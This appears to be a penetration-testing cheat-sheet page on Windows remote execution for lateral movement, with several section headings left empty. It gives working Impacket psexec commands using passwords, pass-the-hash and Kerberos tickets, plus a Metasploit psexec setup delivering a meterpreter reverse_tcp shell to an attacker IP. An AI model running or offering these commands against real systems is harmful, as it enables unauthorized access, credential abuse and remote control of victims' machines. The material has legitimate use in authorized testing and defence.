Remote Execution Techniques

Windows Remote Execution Services

Service Purpose: Various Windows services enable remote command execution for administrative purposes, which can be abused for lateral movement.

Remote Execution Methods

PSExec-style Execution

Using Impacket PSExec

# SMB-based remote execution
python3 psexec.py <domain>/<username>:<password>@<target-IP>
python3 psexec.py -hashes :<NTLM-hash> <domain>/<username>@<target-IP>

# Kerberos authentication
export KRB5CCNAME=<ticket.ccache>
python3 psexec.py <domain>/<username>@<target-IP> -k -no-pass

Using Metasploit PSExec

use exploit/windows/smb/psexec
set RHOSTS <target-IP>
set SMBUser <username>
set SMBPass <password>
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <attacker-IP>
run

WMI-based Execution

Using Impacket WMIExec

Using CrackMapExec WMI

DCOM-based Execution

Using Impacket DCOMExec

WinRM-based Execution

Using Evil-WinRM

Using CrackMapExec WinRM

Service-Specific Remote Execution

RDP-based Access

SSH-based Access (Windows OpenSSH)

Last updated

Was this helpful?